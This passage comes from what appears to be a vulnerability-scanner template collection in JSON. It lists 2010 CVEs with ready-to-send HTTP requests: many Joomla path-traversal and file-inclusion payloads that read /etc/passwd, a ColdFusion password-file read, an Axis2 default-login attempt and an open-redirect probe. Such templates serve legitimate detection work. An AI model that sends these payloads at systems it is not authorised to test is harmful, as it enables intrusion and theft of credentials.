LFI","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["rdspassword=","encrypted="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1494","info":{"name":"Joomla! Component AWDwall 1.5.4 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_awdwall&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1315","info":{"name":"Joomla! Component webERPcustomer - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4769","info":{"name":"Joomla! Component Jimtawl 1.0.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-5286","info":{"name":"Joomla! Component Jstore - 'Controller' Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0972","info":{"name":"Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1314","info":{"name":"Joomla! Component Highslide 1.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2034","info":{"name":"Joomla! Component Percha Image Attach 1.1 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_perchaimageattach&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1305","info":{"name":"Joomla! Component JInventory 1.23.02 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jinventory&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1870","info":{"name":"ListSERV Maestro <= 9.0-8 RCE","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/lui/","{{BaseURL}}/hub/"],"extractors":[{"type":"regex","regex":["LISTSERV Maestro\\s+9\\.0-[123456780]","LISTSERV Maestro\\s+[5678]","Administration Hub 9\\.0-[123456780]","Administration Hub [5678]"]}]}]},{"id":"CVE-2010-0985","info":{"name":"Joomla! Component com_abbrev - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2857","info":{"name":"Joomla! Component Music Manager - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/component/music/album.html?cid=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1461","info":{"name":"Joomla! Component Photo Battle 1.0.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0982","info":{"name":"Joomla! Component com_cartweberp - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1056","info":{"name":"Joomla! Component com_rokdownloads - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-3426","info":{"name":"Joomla! Component Jphone 1.0 Alpha 3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jphone&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1532","info":{"name":"Joomla! Component PowerMail Pro 1.5.3 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_powermail&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1659","info":{"name":"Joomla! Component Ultimate Portfolio 1.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_ultimateportfolio&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2128","info":{"name":"Joomla! Component JE Quotation Form 1.0b1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1718","info":{"name":"Joomla! Component Archery Scores 1.0.6 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_archeryscores&controller=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1476","info":{"name":"Joomla! Component AlphaUserPoints 1.5.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1535","info":{"name":"Joomla! Component TRAVELbook 1.0.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_travelbook&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1474","info":{"name":"Joomla! Component Sweetykeeper 1.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1983","info":{"name":"Joomla! Component redTWITTER 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1307","info":{"name":"Joomla! Component Magic Updater - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2045","info":{"name":"Joomla! Component FDione Form Wizard 1.0.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_dioneformwizard&controller=../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1657","info":{"name":"Joomla! Component SmartSite 1.0.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2682","info":{"name":"Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_realtyna&controller=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1956","info":{"name":"Joomla! Component Gadget Factory 1.0.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1719","info":{"name":"Joomla! Component MT Fire Eagle 1.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_mtfireeagle&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1354","info":{"name":"Joomla! Component VJDEO 1.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_vjdeo&controller=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1306","info":{"name":"Joomla! Component Picasa 2.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1495","info":{"name":"Joomla! Component Matamko 1.01 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1308","info":{"name":"Joomla! Component SVMap 1.1.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2680","info":{"name":"Joomla! Component jesectionfinder - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0943","info":{"name":"Joomla! Component com_jashowcase - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1345","info":{"name":"Joomla! Component Cookex Agency CKForms - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1533","info":{"name":"Joomla! Component TweetLA 1.0.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1353","info":{"name":"Joomla! Component LoginBox - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1313","info":{"name":"Joomla! Component Saber Cart 1.0.0.12 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_sebercart&view=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1531","info":{"name":"Joomla! Component redSHOP 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2033","info":{"name":"Joomla! Percha Categories Tree 0.6 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1875","info":{"name":"Joomla! Component Property - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1534","info":{"name":"Joomla! Component Shoutbox Pro - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1471","info":{"name":"Joomla! Component Address Book 1.5.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4282","info":{"name":"phpShowtime 2.0 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/pandora_console/ajax.php?page=../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0696","info":{"name":"Joomla! Component Jw_allVideos - Arbitrary File Retrieval","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1658","info":{"name":"Joomla! Component NoticeBoard 1.3 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1429","info":{"name":"Red Hat JBoss Enterprise Application Platform - Sensitive Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/status?full=true"],"matchers-condition":"and","matchers":[{"type":"word","words":["JVM","memory","localhost/"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1469","info":{"name":"Joomla! Component JProject Manager 1.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jprojectmanager&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2507","info":{"name":"Joomla! Component Picasa2Gallery 1.2.8 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_picasa2gallery&controller=../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1478","info":{"name":"Joomla! Component Jfeedback 1.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1955","info":{"name":"Joomla! Component Deluxe Blog Factory 1.1.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1472","info":{"name":"Joomla! Component Horoscope 1.5.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_horoscope&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1491","info":{"name":"Joomla! Component MMS Blog 2.3.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1601","info":{"name":"Joomla! Component JA Comment - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1980","info":{"name":"Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2920","info":{"name":"Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1603","info":{"name":"Joomla! Component ZiMBCore 0.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_zimbcore&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2037","info":{"name":"Joomla! Component Percha Downloads Attach 1.1 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_perchadownloadsattach&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0942","info":{"name":"Joomla! Component com_jvideodirect - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1979","info":{"name":"Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-5278","info":{"name":"MODx manager - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1957","info":{"name":"Joomla! Component Love Factory 1.3.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0944","info":{"name":"Joomla! Component com_jcollection - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1717","info":{"name":"Joomla! Component iF surfALERT 1.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1977","info":{"name":"Joomla! Component J!WHMCS Integrator 1.5.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jwhmcs&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1352","info":{"name":"Joomla! Component Juke Box 1.7 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2050","info":{"name":"Joomla! Component MS Comment 0.8.0b - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_mscomment&controller=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1304","info":{"name":"Joomla! Component User Status - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1953","info":{"name":"Joomla! Component iNetLanka Multiple Map 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_multimap&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0219","info":{"name":"Apache Axis2 Default Login","severity":"critical"},"requests":[{"raw":["POST /axis2-admin/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nloginUsername={{username}}&loginPassword={{password}}\n","POST /axis2/axis2-admin/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuserName={{username}}&password={{password}}&submit=+Login+\n"],"payloads":{"username":["admin"],"password":["axis2"]},"attack":"pitchfork","matchers-condition":"and","matchers":[{"type":"word","words":["

Welcome to Axis2 Web Admin Module !!

"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1981","info":{"name":"Joomla! Component Fabrik 2.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1470","info":{"name":"Joomla! Component Web TV 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2307","info":{"name":"Motorola SBV6120E SURFboard Digital Voice Modem SBV6X2X-1.0.0.5-SCM - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2035","info":{"name":"Joomla! Component Percha Gallery 1.6 Beta - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1607","info":{"name":"Joomla! Component WMI 1.5.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1586","info":{"name":"HP System Management Homepage (SMH) v2.x.x.x - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/red2301.html?RedirectUrl=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2010-1878","info":{"name":"Joomla! Component OrgChart 1.0.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_orgchart&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1858","info":{"name":"Joomla! Component SMEStorage - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2122","info":{"name":"Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1312","info":{"name":"Joomla! Component News Portal 1.5.x - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1653","info":{"name":"Joomla! Component Graphics 1.0.6 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1715","info":{"name":"Joomla! Component Online Exam 1.5.0 - Local File 